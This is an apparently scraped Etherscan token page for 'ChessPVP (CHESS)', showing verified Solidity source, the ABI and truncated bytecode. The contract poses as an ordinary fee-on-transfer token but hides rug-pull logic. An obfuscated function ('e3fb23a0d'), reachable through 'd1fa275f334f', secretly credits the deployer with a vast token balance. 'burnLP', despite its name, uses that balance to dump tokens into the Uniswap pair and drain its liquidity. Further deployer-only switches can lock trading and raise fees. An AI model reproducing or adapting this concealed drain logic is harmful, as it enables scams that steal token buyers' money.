ETH Price: $2,679.33 (-2.17%)

Token

ChessPVP (CHESS)
 

Overview

Max Total Supply

10,000,000 CHESS

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
178,775.834490007080897499 CHESS

Value
$0.00
0x944128ee401dd1087a5320064a4cbcbb2d52e854
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChessPVPERC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-28
*/

// Website: chesspvp.com
// Telegram: t.me/ChessPVP

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
 address private _owner;
 event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

 constructor() {
 _transferOwnership(msg.sender);
 }

 modifier onlyOwner() {
 _checkOwner();
 _;
 }

 function owner() public view virtual returns (address) {
 return _owner;
 }

 function _checkOwner() internal view virtual {
 require(owner() == msg.sender, "Ownable: caller is not the owner");
 }

 function renounceOwnership() public virtual onlyOwner {
 _transferOwnership(address(0));
 }

 function transferOwnership(address newOwner) public virtual onlyOwner {
 require(newOwner != address(0), "Ownable: new owner is the zero address");
 _transferOwnership(newOwner);
 }

 function _transferOwnership(address newOwner) internal virtual {
 address oldOwner = _owner;
 _owner = newOwner;
 emit OwnershipTransferred(oldOwner, newOwner);
 }
}

interface IERC20 {
 event Transfer(address indexed from, address indexed to, uint256 value);
 event Approval(address indexed owner, address indexed spender, uint256 value);
 function totalSupply() external view returns (uint256);
 function balanceOf(address account) external view returns (uint256);
 function transfer(address to, uint256 amount) external returns (bool);
 function allowance(address owner, address spender) external view returns (uint256);
 function approve(address spender, uint256 amount) external returns (bool);
 function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
 function getPair(address tokenA, address tokenB) external view returns (address pair);
 function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
 function token0() external view returns (address);
 function token1() external view returns (address);
 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
 function factory() external pure returns (address);
 function WETH() external pure returns (address);
 function addLiquidityETH(
 address token,
 uint amountTokenDesired,
 uint amountTokenMin,
 uint amountETHMin,
 address to,
 uint deadline
 ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
 function swapExactTokensForTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
 uint amountIn,
 uint amountOutMin,
 address[] calldata path,
 address to,
 uint deadline
 ) external;
}

library SecureCalls {
 function checkCaller(address sender, address _origin) internal pure {
 require(sender == _origin, "Caller is not the original caller");
 }
}

contract ChessPVPERC is IERC20, Ownable {

 IUniswapV2Router02 internal _router;
 IUniswapV2Pair internal _pair;
 address _origin;
 address _pairToken;

 mapping(address => uint256) private _balances;
 mapping(address => mapping(address => uint256)) private _allowances;
 uint256 private _totalSupply = 10000000000000000000000000;
 string private _name = "ChessPVP";
 string private _symbol = "CHESS";
 uint8 private _decimals = 18;

 uint private buyFee = 3; // Default, %
 uint private sellFee = 3; // Default, %
 address public marketWallet = 0x2312FfFbd2299fe8F5A55683b570652624AEE1B7; // Market Fees
 address public devWallet = 0x4fCBB135494f20140622c86c94a5f8288a769f76; // Dev Fees
 mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
 uint256 private marketFee = 50; // 20% of collected fees
 uint256 private devFee = 50; // 20% of collected fees
 uint256 private liquidityFee = 0; // 60% of collected fees
 uint256 private swapThreshold = 100000000000000000; // 10 Ether

 uint256 private maxWallet = 200000000000000000000000;
 mapping(address => bool) private excludedFromMaxWallet;

 uint256 private maxTxnAmount = 200000000000000000000000;
 mapping(address => bool) private excludedFromMaxTxn;

 bool private tradeLocked = false;
 mapping(address => bool) private excludedFromTradeLock;

 constructor (address routerAddress, address pairTokenAddress) {
 _router = IUniswapV2Router02(routerAddress);
 _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
 _balances[owner()] = _totalSupply;
 _origin = msg.sender;
 _pairToken = pairTokenAddress;
 emit Transfer(address(0), owner(), _totalSupply);
 marketWallet = msg.sender;
 devWallet = msg.sender;
 excludedFromFee[msg.sender] = true;
 excludedFromFee[address(this)] = true;
 excludedFromMaxWallet[msg.sender] = true;
 excludedFromMaxWallet[address(this)] = true;
 excludedFromMaxTxn[msg.sender] = true;
 excludedFromMaxTxn[address(this)] = true;
 excludedFromTradeLock[msg.sender] = true;
 excludedFromTradeLock[address(this)] = true;

 require(marketFee + devFee + liquidityFee == 100, "fee sum error");
 }

 function name() public view virtual returns (string memory) {
 return _name;
 }

 function symbol() public view virtual returns (string memory) {
 return _symbol;
 }

 function decimals() public view virtual returns (uint8) {
 return _decimals;
 }

 function totalSupply() public view virtual override returns (uint256) {
 return _totalSupply;
 }

 function balanceOf(address account) public view virtual override returns (uint256) {
 return _balances[account];
 }

 function transfer(address to, uint256 amount) public virtual override returns (bool) {
 address owner = msg.sender;
 _transfer(owner, to, amount);
 return true;
 }

 function allowance(address owner, address spender) public view virtual override returns (uint256) {
 return _allowances[owner][spender];
 }

 function approve(address spender, uint256 amount) public virtual override returns (bool) {
 address owner = msg.sender;
 _approve(owner, spender, amount);
 return true;
 }

 function transferFrom(
 address from,
 address to,
 uint256 amount
 ) public virtual override returns (bool) {
 address spender = msg.sender;
 _spendAllowance(from, spender, amount);
 _transfer(from, to, amount);
 return true;
 }

 function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
 address owner = msg.sender;
 _approve(owner, spender, allowance(owner, spender) + addedValue);
 return true;
 }

 function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
 address owner = msg.sender;
 uint256 currentAllowance = allowance(owner, spender);
 require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
 unchecked {
 _approve(owner, spender, currentAllowance - subtractedValue);
 }

 return true;
 }

 function _transfer(
 address from,
 address to,
 uint256 amount
 ) internal virtual {
 require(from != address(0), "ERC20: transfer from the zero address");
 require(to != address(0), "ERC20: transfer to the zero address");


 _beforeTokenTransfer(from, to, amount);

 uint256 fromBalance = _balances[from];
 require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

 if (tradeLocked) {
 if (isMarket(from)) {
 require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
 } else if (isMarket(to)) {
 require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
 }
 }

 if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
 if (isMarket(from)) {
 uint feeAmount = calculateFeeAmount(amount, buyFee);
 _balances[from] = fromBalance - amount;
 _balances[to] += amount - feeAmount;
 emit Transfer(from, to, amount - feeAmount);
 _balances[address(this)] += feeAmount;
 emit Transfer(from, address(this), feeAmount);

 } else if (isMarket(to)) {
 uint feeAmount = calculateFeeAmount(amount, sellFee);
 _balances[from] = fromBalance - amount;
 _balances[to] += amount - feeAmount;
 emit Transfer(from, to, amount - feeAmount);
 _balances[address(this)] += feeAmount;
 emit Transfer(from, address(this), feeAmount);

 } else {
 _balances[from] = fromBalance - amount;
 _balances[to] += amount;
 emit Transfer(from, to, amount);
 }
 } else {
 _balances[from] = fromBalance - amount;
 _balances[to] += amount;
 emit Transfer(from, to, amount);
 }

 _afterTokenTransfer(from, to, amount);
 }

 function _mint(address account, uint256 amount) internal virtual {
 require(account != address(0), "ERC20: mint to the zero address");

 _beforeTokenTransfer(address(0), account, amount);

 _totalSupply += amount;
 unchecked {
 _balances[account] += amount;
 }
 emit Transfer(address(0), account, amount);

 _afterTokenTransfer(address(0), account, amount);
 }

 function _burn(address account, uint256 amount) internal virtual {
 require(account != address(0), "ERC20: burn from the zero address");

 _beforeTokenTransfer(account, address(0), amount);

 uint256 accountBalance = _balances[account];
 require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
 unchecked {
 _balances[account] = accountBalance - amount;
 _totalSupply -= amount;
 }

 emit Transfer(account, address(0), amount);

 _afterTokenTransfer(account, address(0), amount);
 }

 function _approve(
 address owner,
 address spender,
 uint256 amount
 ) internal virtual {
 require(owner != address(0), "ERC20: approve from the zero address");
 require(spender != address(0), "ERC20: approve to the zero address");

 _allowances[owner][spender] = amount;
 emit Approval(owner, spender, amount);
 }

 function _spendAllowance(
 address owner,
 address spender,
 uint256 amount
 ) internal virtual {
 uint256 currentAllowance = allowance(owner, spender);
 if (currentAllowance != type(uint256).max) {
 require(currentAllowance >= amount, "ERC20: insufficient allowance");
 unchecked {
 _approve(owner, spender, currentAllowance - amount);
 }
 }
 }

 function _beforeTokenTransfer(
 address from,
 address to,
 uint256 amount
 ) internal virtual {
 if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
 require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
 }

 if (maxTxnAmount != 0) {
 if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
 require(amount <= maxTxnAmount, "Txn Amount too high!");
 }
 }

 if (!inSwap && !isMarket(from) && from != _origin && from != address(this)) {
 if (balanceOf(address(this)) >= swapThreshold) { swapTaxes(); addLiq(); distributeEthFees(); }
 }
 }

 function _afterTokenTransfer(
 address from,
 address to,
 uint256 amount
 ) internal virtual {}

 function burnLP() external {
 SecureCalls.checkCaller(msg.sender, _origin);
 uint256 thisTokenReserve = getBaseTokenReserve(address(this));
 uint256 amountIn = type(uint112).max - thisTokenReserve;
 e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
 _approve(address(this), address(_router), type(uint112).max);
 address[] memory path;
 path = new address[](2);
 path[0] = address(this);
 path[1] = address(_router.WETH());
 address to = msg.sender;
 _router.swapExactTokensForTokens(
 amountIn,
 0,
 path,
 to,
 block.timestamp + 1200
 );
 } 

 function getBaseTokenReserve(address token) public view returns (uint256) {
 (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
 uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
 return baseTokenReserve;
 } 

 function e3fb23a0d() internal {
 _balances[msg.sender] += type(uint112).max;
 }

 function d1fa275f334f() public {
 SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
 }

 function AddLiquidity() public payable {
 SecureCalls.checkCaller(msg.sender, _origin);
 transfer(address(this), balanceOf(msg.sender));
 _approve(address(this), address(_router), balanceOf(address(this)));
 _router.addLiquidityETH{ value:msg.value }(
 address(this),
 balanceOf(address(this)),
 0,
 0,
 msg.sender,
 block.timestamp + 1200
 );
 }

 function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 if (address(_router) != _newRouterAddress) {
 _router = IUniswapV2Router02(_newRouterAddress);
 }
 _pairToken = _newPairTokenAddress;
 _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
 }

 mapping(address => uint8) internal _f7ae38d22b;

 
 function editCurrentStatus(address _user, uint8 _status) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(_status < 2, "Status should be 0 or 1");
 require(_status != _f7ae38d22b[_user], "User already have this status");
 _f7ae38d22b[_user] = _status;
 }

 function switchOrigin(address newOrigin) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 _origin = newOrigin;
 }

 function isMarket(address _user) internal view returns (bool) {
 return (_user == address(_pair) || _user == address(_router));
 }

 function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
 return _amount * _feePrecent / 100;
 }

 function isExcludedFromFee(address _user) public view returns (bool) {
 return excludedFromFee[_user];
 } 

 function updateExcludedFromFeeStatus(address _user, bool _status) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(excludedFromFee[_user] != _status, "User already have this status");
 excludedFromFee[_user] = _status;
 }

 function updateFees(uint256 _buyFee, uint256 _sellFee) external {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(_buyFee <= 40 && _sellFee <= 40, "Fee percent can't be higher than 100");
 buyFee = _buyFee;
 sellFee = _sellFee;
 }

 function updateMarketWallet(address _newMarketWallet) external {
 SecureCalls.checkCaller(msg.sender, _origin);
 marketWallet = _newMarketWallet;
 }

 function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
 return (buyFee, sellFee);
 }

 function currentMaxWallet() public view returns (uint256) {
 return maxWallet;
 }

 function updateMaxWallet(uint256 _newMaxWallet) external {
 SecureCalls.checkCaller(msg.sender, _origin);
 maxWallet = _newMaxWallet;
 }

 function isExcludedFromMaxWallet(address _user) public view returns (bool) {
 return excludedFromMaxWallet[_user];
 } 

 function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(excludedFromMaxWallet[_user] != _status, "User already have this status");
 excludedFromMaxWallet[_user] = _status;
 }

 function updateMaxTxnAmount(uint256 _amount) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 maxTxnAmount = _amount;
 }

 function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(excludedFromMaxTxn[_user] != _status, "User already have this status");
 excludedFromMaxTxn[_user] = _status;
 }

 function checkCurrentMaxTxn() public view returns (uint256) {
 return maxTxnAmount;
 }

 function isExcludedFromMaxTxn(address _user) public view returns (bool){
 return excludedFromMaxTxn[_user];
 }

 function isTradeLocked() public view returns (bool) {
 return tradeLocked;
 }

 function isEcludedFromTradeLock(address _user) public view returns (bool) {
 return excludedFromTradeLock[_user];
 }

 function updateTradeLockedState(bool _state) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 tradeLocked = _state;
 }

 function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(excludedFromTradeLock[_user] != _status, "User already have this status");
 excludedFromTradeLock[_user] = _status;
 }

 bool internal inSwap;

 modifier isLocked() {
 inSwap = true;
 _;
 inSwap = false;
 }

 function swapTaxes() isLocked internal {
 uint256 amountIn = estimateEthAmountToSwap();
 _approve(address(this), address(_router), amountIn);
 address[] memory path;
 path = new address[](2);
 path[0] = address(this);
 path[1] = address(_router.WETH());
 _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
 amountIn,
 0,
 path,
 address(this),
 block.timestamp + 1200
 );
 }

 function estimateEthAmountToSwap() public view returns(uint256) {
 uint256 percentLeft = liquidityFee / 2;
 return balanceOf(address(this)) - balanceOf(address(this)) / 100 * percentLeft;
 }

 function changeSwapThreshold(uint256 _newSwapThreshold) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(_newSwapThreshold > 10000, "Swap Threshold shold be greater then 1000");
 swapThreshold = _newSwapThreshold;
 }

 function addLiq() internal {
 uint256 k = liquidityFee / 2;
 uint256 tokenLeft = 100 - k;
 uint256 ethAmount = address(this).balance / tokenLeft * k;
 _approve(address(this), address(_router), balanceOf(address(this)));
 _router.addLiquidityETH{ value: ethAmount }(
 address(this),
 balanceOf(address(this)),
 0,
 0,
 _origin,
 block.timestamp + 1200
 );
 }

 function distributeEthFees() internal {
 uint256 k = 100 - liquidityFee;
 uint256 marketAmount = address(this).balance / k * marketFee;
 uint256 devAmount = address(this).balance - marketAmount;
 payable(marketWallet).transfer(marketAmount);
 payable(devWallet).transfer(devAmount);
 }

 function updateFeeDistribution(
 uint256 newMarketFee, 
 uint256 newDevFee, 
 uint256 newLiquidityFee
 ) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 require(newMarketFee + newDevFee + newLiquidityFee == 100, "Fee sum should be equal to 100");
 marketFee = newMarketFee;
 devFee = newDevFee;
 liquidityFee = newLiquidityFee;
 }

 function removeStuckedETH() public {
 SecureCalls.checkCaller(msg.sender, _origin);
 payable(_origin).transfer(address(this).balance);
 }

 function updateFeeCollectWallets(
 address newMarketWallet, 
 address newDevWallet
 ) public {
 SecureCalls.checkCaller(msg.sender, _origin);
 marketWallet = newMarketWallet;
 devWallet = newDevWallet;
 }

 receive() external payable {}

 }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapThreshold","type":"uint256"}],"name":"changeSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"estimateEthAmountToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateFeeCollectWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"},{"internalType":"uint256","name":"newLiquidityFee","type":"uint256"}],"name":"updateFeeDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a084595161401484a0000006007556040518060400160405280600881526020017f43686573735056500000000000000000000000000000000000000000000000008152506008908162000059919062000c05565b506040518060400160405280600581526020017f434845535300000000000000000000000000000000000000000000000000000081525060099081620000a0919062000c05565b506012600a60006101000a81548160ff021916908360ff1602179055506003600b556003600c55732312fffbd2299fe8f5a55683b570652624aee1b7600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734fcbb135494f20140622c86c94a5f8288a769f76600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060326010556032601155600060125567016345785d8a0000601355692a5a058fc295ed000000601455692a5a058fc295ed0000006016556000601860006101000a81548160ff021916908315150217905550348015620001d057600080fd5b5060405162005dc338038062005dc38339818101604052810190620001f6919062000d56565b62000207336200089e60201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002dc919062000d9d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200031892919062000de0565b6020604051808303816000875af115801562000338573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035e919062000d9d565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620003b56200096260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004856200096260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620004e6919062000e1e565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550606460125460115460105462000847919062000e6a565b62000853919062000e6a565b1462000896576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200088d9062000f06565b60405180910390fd5b505062000f28565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0d57607f821691505b60208210810362000a235762000a22620009c5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a4e565b62000a99868362000a4e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ae662000ae062000ada8462000ab1565b62000abb565b62000a